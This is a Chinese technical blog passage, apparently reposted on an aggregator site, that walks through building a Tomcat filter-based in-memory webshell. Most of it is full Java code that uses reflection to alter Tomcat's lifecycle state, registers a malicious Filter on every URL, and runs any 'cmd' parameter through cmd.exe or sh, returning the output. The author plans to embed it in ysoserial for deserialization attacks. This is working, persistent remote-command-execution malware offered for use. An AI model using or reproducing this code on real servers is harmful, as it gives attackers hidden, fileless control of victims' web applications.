0x03 内存马构造#前文的基于Tomcat实现内存马中只是借助Servlet直接去进行动态添加Filter实现内存马 。而实际当中还是需要借助反序列化点来直接打入内存马 。
下面再来构造一个完整的 。
获取到ApplicationContext调用addFilter方法直接将恶意Filter添加进去发现并不行 。
ApplicationContext.addFilter(filterName,new ShellIntInject());断点处进行了判断,条件为true,会直接抛出异常 。而这时候可以借助反射去进行修改 。
Field state = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");state.setAccessible(true);state.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);修改完成后,再来看到addFilter中,this.context.findFilterDef也就是寻找StandardContext中的filterDef,所以我们需要添加到filterConfigs、filterDefs、filterMaps 。
在添加filter前,通过反射设置成LifecycleState.STARTING_PREP,添加完成后,再把其恢复成LifecycleState.STARTE,需要恢复,否则可能导致服务不可用 。
//添加拦截路径,实现是将存储写入到filterMap中registration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{"/*"});后面再来看到StandardContext 中filterStart方法会遍历所有filterDefs实例化ApplicationFilterConfig添加到filterConfigs中
this.filterConfigs.clear();Iterator i$ = this.filterDefs.entrySet().iterator();while(i$.hasNext()) {Entry<String, FilterDef> entry = (Entry)i$.next();String name = (String)entry.getKey();if (this.getLogger().isDebugEnabled()) {this.getLogger().debug(" Starting filter '" + name + "'");}try {ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue());this.filterConfigs.put(name, filterConfig);} catch (Throwable var8) {Throwable t = ExceptionUtils.unwrapInvocationTargetException(var8);ExceptionUtils.handleThrowable(t);this.getLogger().error(sm.getString("standardContext.filterStart", new Object[]{name}), t);ok = false;}}return ok;}}前面我们的调用addfilter方法的时候已经将 对应的filterDef给添加进去,我们只需要调用该方法即可实现filterConfig的添加 。
//调用filterStart方法将filterconfig进行添加Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getMethod("filterStart");filterStart.setAccessible(true);filterStart.invoke(standardContext,null);最后,需要将filter位置进行调整 。
在调试中途,部分代码抛出异常并没有直接执行state.set(standardContext,org.apache.catalina.LifecycleState.STARTED);会导致tomcat直接503 。无法进行正常访问,需重启 。
完整代码#package com;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.tomcat.util.descriptor.web.FilterMap;import javax.servlet.*;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.BufferedInputStream;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.lang.reflect.Modifier;@WebServlet("/testServlet")public class testServlet extends HttpServlet {private final String cmdParamName = "cmd";private final static String filterUrlPattern = "/*";private final static String filterName = "cmdFilter";protected void doPost(HttpServletRequest request, HttpServletResponse response) {try {Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");lastServicedRequest.setAccessible(true);lastServicedResponse.setAccessible(true);wrap_same_object.setAccessible(true);//修改finalField modifiersField = Field.class.getDeclaredField("modifiers");modifiersField.setAccessible(true);modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);boolean wrap_same_object1 = wrap_same_object.getBoolean(null);ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>)lastServicedRequest.get(null);ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>)lastServicedResponse.get(null);wrap_same_object.setBoolean(null,true);lastServicedRequest.set(null,new ThreadLocal<>());lastServicedResponse.set(null,new ThreadLocal<>());ServletResponse servletResponse = responseThreadLocal.get();ServletRequest servletRequest = requestThreadLocal.get();ServletContext servletContext = servletRequest.getServletContext();//这里实际获取到的是ApplicationContextFacadeif (servletContext!=null) {//编写恶意Filterclass ShellIntInject implements javax.servlet.Filter{@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {System.out.println("s");String cmd = servletRequest.getParameter(cmdParamName);if(cmd!=null) {String[] cmds = null;if (System.getProperty("os.name").toLowerCase().contains("win")) {cmds = new String[]{"cmd.exe", "/c", cmd};} else {cmds = new String[]{"sh", "-c", cmd};}java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\a");String output = s.hasNext() ? s.next() : "";java.io.Writer writer = servletResponse.getWriter();writer.write(output);writer.flush();writer.close();}filterChain.doFilter(request, response);}@Overridepublic void destroy() {}}//获取ApplicationContextField context = servletContext.getClass().getDeclaredField("context");context.setAccessible(true);ApplicationContext ApplicationContext = (ApplicationContext)context.get(servletContext);//获取standardContextField context1 = ApplicationContext.getClass().getDeclaredField("context");context1.setAccessible(true);StandardContext standardContext = (StandardContext) context1.get(ApplicationContext);//获取LifecycleBase的state修改为org.apache.catalina.LifecycleState.STARTING_PREPField state = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");state.setAccessible(true);state.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);//注册filterNameFilterRegistration.Dynamic registration = ApplicationContext.addFilter(filterName, new ShellIntInject());//添加拦截路径,实现是将存储写入到filterMap中registration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{"/*"});//调用filterStart方法将filterconfig进行添加Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getMethod("filterStart");filterStart.setAccessible(true);filterStart.invoke(standardContext,null);//移动filter为位置到前面FilterMap[] filterMaps = standardContext.findFilterMaps();for (int i = 0; i < filterMaps.length; i++) {if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) {org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];filterMaps[i] = filterMaps[0];filterMaps[0] = filterMap;break;}}servletResponse.getWriter().write("Success");state.set(standardContext,org.apache.catalina.LifecycleState.STARTED);}} catch (Exception e) {e.printStackTrace();}}protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {this.doPost(request, response);}}但这并未完,虽然我们借助了代码执行获取到Request和Response后构造内存马 。但是仍需要修改代码,将代码集成到yso中后,以供反序列化攻击使用 。
以上关于本文的内容,仅作参考!温馨提示:如遇健康、疾病相关的问题,请您及时就医或请专业人士给予相关指导!
「四川龙网」www.sichuanlong.com小编还为您精选了以下内容,希望对您有所帮助:- linux系统安装步骤 yum安装命令
- 电脑怎么创建图片密码? 图片密码怎么设置
- 360发现全球汽车操作系统多个高危漏洞:获宝马和系统商双重致谢
- 安卓手机装win10系统操作方法 win10系统版本哪个好
- 自动喷水灭火系统由哪些部分组成
- 电脑开不开机怎么重装系统教程 win7无法关机怎么办
- word表格自动换页的技巧 word不分页怎么设置
- 2021国内最好用免费建站系统 免费个人网站空间申请
- windows7系统黑屏解决方法 win7激活工具哪个好用
- h5平台搭建步骤 h5建站系统源码